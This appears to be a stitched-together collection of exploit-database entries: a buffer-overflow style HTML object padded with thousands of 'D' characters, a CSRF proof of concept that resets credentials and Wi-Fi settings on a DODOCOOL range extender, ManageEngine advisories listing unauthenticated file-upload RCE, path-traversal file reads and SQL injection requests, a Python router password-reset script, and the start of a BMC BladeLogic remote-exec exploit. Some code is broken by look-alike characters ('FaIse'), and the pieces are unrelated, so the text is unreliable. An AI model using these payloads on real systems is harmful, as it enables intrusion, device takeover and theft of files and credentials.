DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD">
<param NAME="DVR_UK" VALUE="d">
<param NAME="HTTP_PAGE" VALUE="e">
</object>
            
# Exploit Title: DODOCOOL DC38 N300 Cross-site Request Forgery
# Date: 17-01-2018
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: DODOCOOL
# Vendor Homepage: www.dodocool.com
# Version: RTN2-AW.GD.R3465.1.20161103
# CVE: CVE-2018-5720

I DESCRIPTION
========================================================================

An issue was discovered in DODOCOOL DC38 3-in-1 N300 Mini Wireless Range
Extend RTN2-AW.GD.R3465.1.20161103 devices. A Cross-site request forgery
(CSRF) vulnerability allows remote attackers to hijack the authentication
of users for requests that modify the configuration.
This vulnerability may lead to username and/or password changing, Wi-Fi
password changing, etc.

II PROOF OF CONCEPT
========================================================================

## Change user username and password (test_username:test_password):

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.10.1/boafrm/formPasswordSetup"
method="POST">
      <input type="hidden" name="submit&#45;url"
value="&#47;setok&#46;htm&#63;bw&#61;main&#46;htm" />
      <input type="hidden" name="submit&#45;value" value="" />
      <input type="hidden" name="username" value="test&#95;username" />
      <input type="hidden" name="newpass" value="test&#95;password" />
      <input type="hidden" name="confpass" value="test&#95;password" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


## Change WiFi Configuration (WIFI_TEST:TestTest):

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.10.1/boafrm/formWlanSetupREP"
method="POST">
      <input type="hidden" name="submit&#45;url"
value="&#47;setok&#46;htm&#63;bw&#61;wl&#95;rep&#46;htm" />
      <input type="hidden" name="submit&#45;value" value="repset" />
      <input type="hidden" name="wl&#95;onoff" value="0" />
      <input type="hidden"
name="wps&#95;clear&#95;configure&#95;by&#95;reg" value="0" />
      <input type="hidden" name="wlProfileId" value="" />
      <input type="hidden" name="wl&#95;mode" value="0" />
      <input type="hidden" name="wl&#95;authType" value="auto" />
      <input type="hidden" name="wepEnabled" value="ON" />
      <input type="hidden" name="weplength" value="" />
      <input type="hidden" name="wepformat" value="" />
      <input type="hidden" name="wl&#95;wpaAuth" value="psk" />
      <input type="hidden" name="wl&#95;pskFormat" value="0" />
      <input type="hidden" name="wl&#95;pskValue" value="TestTest" />
      <input type="hidden" name="wl&#95;ssid" value="WIFI_TEST" />
      <input type="hidden" name="wl&#95;Method" value="6" />
      <input type="hidden" name="wep&#95;key" value="" />
      <input type="hidden" name="ciphersuite" value="tkip&#43;aes" />
      <input type="hidden" name="ciphersuite" value="aes" />
      <input type="hidden" name="wpa2ciphersuite" value="tkip&#43;aes" />
      <input type="hidden" name="wpa2ciphersuite" value="aes" />
      <input type="hidden" name="web&#95;pskValue" value="TestTest" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
>> Multiple vulnerabilities in ManageEngine OpManager, Social IT Plus and IT360
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 27/09/2014 (#1 and #2), 09/11/2014 (#3 and #4) / Last updated: 09/11/2014

>> Background on the affected products:
"ManageEngine OpManager is a network and data center infrastructure management software that helps large enterprises, service providers and SMEs manage their data centers and IT infrastructure efficiently and cost effectively. Automated workflows, intelligent alerting engines, configurable discovery rules, and extendable templates enable IT teams to setup a 24x7 monitoring system within hours of installation."

"Social IT Plus offers a cascading wall that helps IT folks to start discussions, share articles and videos easily and quickly. Other team members can access it and post comments and likes on the fly."

"Managing mission critical business applications is now made easy through ManageEngine IT360. With agentless monitoring methodology, monitor your applications, servers and databases with ease. Agentless monitoring of your business applications enables you high ROI and low TOC. With integrated network monitoring and bandwidth utilization, quickly troubleshoot any performance related issue with your network and assign issues automatically with ITIL based ServiceDesk integration."


>> Technical details:
#1
Vulnerability: Remote code execution via WAR file upload
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360

a)
CVE-2014-6034
POST /servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector?regionID=../../../tomcat/webapps&FILENAME=payload.war
<... WAR file payload ...>
Affected versions: OpManager v8.8 to v11.4; Social IT Plus v11.0; IT360 v? to v10.4
A Metasploit module that exploits this vulnerability has been released.

b)
CVE-2014-6035
POST /servlets/FileCollector?AGENTKEY=123&FILENAME=../../../tomcat/webapps/warfile.war
<... WAR file payload ...>

Affected versions: OpManager v? to v11.4


#2
Vulnerability: Arbitrary file deletion
CVE-2014-6036
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
Affected versions: OpManager v? to v11.4; Social IT Plus v11.0; IT360 v? to v10.3/10.4

POST /servlets/multipartRequest?customIcon=delete&fileName=../../../../boot.ini


#3
Vulnerability: Remote code execution via file upload
CVE-2014-7866
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360

a)
POST /servlet/MigrateLEEData?fileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>

Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4; IT360 10.3/10.4; Social IT 11.0

b)
POST /servlet/MigrateCentralData?operation=downloadFileFromProbe&zipFileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>

Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4; IT360 10.3/10.4; Social IT 11.0


#4
Vulnerability: Blind SQL injection
CVE-2014-7868
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360

a)
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=[SQLi]
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=aaa'%3bcreate+table+pulicia+(bolas+text)%3b--+
Affected versions: Unknown, at least the current versions (OpManager 11.3/11.4; IT360 10.3/10.4; Social IT 11.0)

b)
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=[SQLi]  --> runs direct query in db!
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=create+table+panicia+(bolos+text)
Affected versions: Unknown, at least the current versions (OpManager 11.3/11.4; IT360 10.3/10.4; Social IT 11.0)


>> Fix:
Upgrade to OpManager 11.3 or 11.4, then install patches [A], [B] and [C].
This patch can be applied to all the applications but only for the latest version of each (OpManager 11.3/11.4, Social IT 11.0, IT360 10.4).
The fix will be included in OpManager version 11.5 which should be released sometime in late November or December 2014. No indication was given for when fixed versions of IT360 and Social IT Plus will be released.

[A] https://support.zoho.com/portal/manageengine/helpcenter/articles/servlet-vulnerability-fix
Resolves #1 and #2

[B] https://support.zoho.com/portal/manageengine/helpcenter/articles/sql-injection-vulnerability-fix
Resolves #3

[C] https://support.zoho.com/portal/manageengine/helpcenter/articles/fix-for-remote-code-execution-via-file-upload-vulnerability
Resolves #4

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
>> Multiple vulnerabilities in FailOverServlet in ManageEngine OpManager, Applications Manager and IT360
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 28/01/2015 / Last updated: 09/02/2015

>> Background on the affected products:
"ManageEngine OpManager is a network and data center infrastructure management software that helps large enterprises, service providers and SMEs manage their data centers and IT infrastructure efficiently and cost effectively. Automated workflows, intelligent alerting engines, configurable discovery rules, and extendable templates enable IT teams to setup a 24x7 monitoring system within hours of installation."

"ManageEngine Applications Manager is a comprehensive application monitoring software used to monitor heterogeneous business applications such as web applications, application servers, web servers, databases, network services, systems, virtual systems, cloud resources, etc. It provides remote business management to the applications or resources in the network. It is a powerful tool for system and network administrators, helping them monitor any number of applications or services running in the network without much manual effort."

"Managing mission critical business applications is now made easy through ManageEngine IT360. With agentless monitoring methodology, monitor your applications, servers and databases with ease. Agentless monitoring of your business applications enables you high ROI and low TOC. With integrated network monitoring and bandwidth utilization, quickly troubleshoot any performance related issue with your network and assign issues automatically with ITIL based ServiceDesk integration."


>> Technical details:
The affected servlet is the "FailOverHelperServlet" (affectionately called FailServlet).
There are definitely more vulnerabilities than the ones identified below - for example it is possible to hijack the failover operation completely. The ones listed below as the easy ones to find and exploit.


#1
Vulnerability: Arbitrary file download
CVE-2014-7863
Constraints: unauthenticated in OpManager and AppManager; authenticated in IT360
Affected versions: ManageEngine Applications Manager v? to v11.9 b11911; ManageEngine OpManager v8 - v11.5; IT360 v? to v10.5

POST /servlet/FailOverHelperServlet?operation=copyfile&fileName=C:\\boot.ini


#2
Vulnerability: Information disclosure - list all files in a directory and its children
CVE-2014-7863 (same as #1)
Constraints: unauthenticated in OpManager and AppManager; authenticated in IT360
Affected versions: ManageEngine Applications Manager v? to v11.9 b11911; ManageEngine OpManager v8 - v11.5; IT360 v? to v10.5

POST /servlet/FailOverHelperServlet?operation=listdirectory&rootDirectory=C:\\


#3
Vulnerability: Blind SQL injection
CVE-2014-7864
Affected versions: ManageEngine OpManager v8 - v11.5; IT360 v? to v10.5
Constraints: unauthenticated in OpManager; authenticated in IT360
POST /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=[SQLi_1]&serverRole=[SQLi_2]
POST /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=a')%3b+create+table+bacas+(bodas+text)%3b--+&serverRole=a


>> Fix: 
For Applications Manager, upgrade to version 11.9 b11912.

For OpManager, install the patch for v11.4 and 11.5:
https://support.zoho.com/portal/manageengine/helpcenter/articles/vulnerabilities-in-failoverhelperservlet
Version 11.6 will be released with the patch.

These vulnerabilities remain UNFIXED in IT360.


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
>> Arbitrary file download in ManageEngine Netflow Analyzer and IT360
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 30/11/2014 / Last updated: 3/12/2014

>> Background on the affected product:
"NetFlow Analyzer, a complete traffic analytics tool, leverages flow technologies to provide real time visibility into the network bandwidth performance. NetFlow Analyzer, primarily a bandwidth monitoring tool, has been optimizing thousands of networks across the World by giving holistic view about their network bandwidth and traffic patterns. NetFlow Analyzer is a unified solution that collects, analyzes and reports about what your network bandwidth is being used for and by whom."

"Managing mission critical business applications is now made easy through ManageEngine IT360. With agentless monitoring methodology, monitor your applications, servers and databases with ease. Agentless monitoring of your business applications enables you high ROI and low TOC. With integrated network monitoring and bandwidth utilization, quickly troubleshoot any performance related issue with your network and assign issues automatically with ITIL based ServiceDesk integration."

This is being released as a 0-day because ManageEngine have been twiddling their thumbs (and making a fool out of me) for 105 days. See timeline below for explanation.


>> Technical details:
Vulnerability: Arbitrary file download
Constraints: unauthenticated in NetFlow; authenticated in IT360
Affected versions: NetFlow v8.6 to v10.2; at least IT360 v10.3 and above

CVE-2014-5445:
GET /netflow/servlet/CSVServlet?schFilePath=/etc/passwd
GET /netflow/servlet/CReportPDFServlet?schFilePath=C:\\boot.ini&pdf=true

CVE-2014-5446
GET /netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini

All 3 servlets can be exploited in both Windows and Linux. A Metasploit module that exploits CVE-2014-5445 has been released.


>> Fix: 
UNFIXED - ManageEngine failed to take action after 105 days.

Timeline of disclosure:
18/08/2014
- Requested contact via ManageEngine Security Response Center.

19/08/2014
- Received contact from the NetFlow Analyzer support team. Responded with the security advisory above detailing the vulnerabilities.
- Further back and forth explaining the vulnerabilities, how to exploit them and their impact.

22/08/2014
- Requested information regarding the release date for the fix. Received response "We do not have a ETA on this, I will check with our engineering team and update  you."

22/09/2014
- Requested information regarding the release date for the fix. Received response "We expect that the new release will be within the next couple of weeks".

20/10/2014
- Requested information regarding the release date for the fix. Received response "Our new release will be happening early by next week, you can get the update in our NetFlow Analyzer website".
- Asked if they are sure that the fix will be included in the new release. Received response "yes you are correct, the issue that you have specified is fixed in new release".

27/10/2014
- NetFlow Analyzer version 10.2 released - still vulnerable. 
- Sent an email to ManageEngine asking if they are going to release a fix soon. Received response "We will release the PPM file of the upgrade soon, in which we have fixed the Vulnerability you mentioned".

5/11/2014
- Requested information regarding the release date for the fix. Received response "You can expect the release before this month end".

28/11/2014
- Requested information regarding the release date for the fix. Received response "The PPM file is in testing phase and will be released in next Month".
- Asked if they can commit to a date. Received response "the ppm is in testing phase now, as it is one of the major release, we will not be able to give an exact date of release".

30/11/2014
- Realised that ManageEngine have been playing me for 105 days, and immediately released advisory and exploit.

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
import requests
import sys
import urllib3

ip = sys.argv[1]
user = sys.argv[2]
newPassword = sys.argv[3]

#requests.packages.urilib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

data = {"group_id": '', "action_mode": "apply", "current_page": "Main_Password.asp", "next_page": "index.asp", "flag": '', "usernamepasswdFIag": "1", "http_username": user, "http_passwd": newPassword, "foilautofill": ''}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,'/';q=0.8", "Accept-Language": "en-US,en;q=0.5", "Referer": ip + "/Main_Password.asp", "Content-Type": "application/x-www-form-urIencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

print("-> New password for " + user + " is " + newPassword)
try:
    res = requests.post(ip + '/mod__login.asp', headers=headers, data=data, timeout=2, verify=FaIse)
except:
    sys.exit(1)
            
# Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version
# Filename: BMC_rexec.py
# Github: https://github.com/bao7uo/bmc_bladelogic
# Date: 2018-01-24
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: BMC RSCD agent 8.3.00.64
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-critical-security-issue-in-bmc-server-automation-cve-2016-1542-cve-2016-1543
# Tested on: 8.3.00.64

#!/usr/bin/python

# BMC BladeLogic RSCD agent remote exec - XMLRPC version
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)

# By Paul Taylor / Foregenix Ltd

# Credit: https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic
# Credit: https://github.com/yaolga

# Credit: Nick Bloor for AWS image for testing :-)
# https://github.com/NickstaDB/PoC/tree/master/BMC_RSCD_RCE

import socket
import ssl
import sys
import argparse
import requests
import httplib
from requests.packages.urllib3 import PoolManager
from requests.packages.urllib3.connection import HTTPConnection
from requests.packages.urllib3.connectionpool import HTTPConnectionPool
from requests.adapters import HTTPAdapter


class MyHTTPConnection(HTTPConnection):
    def __init__(self, unix_socket_url, timeout=60):
        HTTPConnection.__init__(self, HOST, timeout=timeout)
        self.unix_socket_url = unix_socket_url
        self.timeout = timeout

    def connect(self):
        self.sock = wrappedSocket


class MyHTTPConnectionPool(HTTPConnectionPool):
    def __init__(self, socket_path, timeout=60):
        HTTPConnectionPool.__init__(self, HOST, timeout=timeout)
        self.socket_path = socket_path
        self.timeout = timeout

    def _new_conn(self):
        return MyHTTPConnection(self.socket_path, self.timeout)


class MyAdapter(HTTPAdapter):
    def __init__(self, timeout=60):
        super(MyAdapter, self).__init__()
        self.timeout = timeout

    def get_connection(self, socket_path, proxies=None):
        return MyHTTPConnectionPool(socket_path, self.timeout)

    def request_url(self, request, proxies):
        return request.path_url


def optParser():
    parser = argparse.ArgumentParser(
                        description="Remote exec " +
                        "BladeLogic Server Automation RSCD agent"
                    )
    parser.add_argument("host", help="IP address of a target system")
    parser.add_argument(
            "-p",
            "--port",
            type=int,
            default=4750,
            help="TCP port (default: 4750)"
            )
    parser.add_argument("command", help="Command to execute")
    opts = parser.parse_args()
    return opts


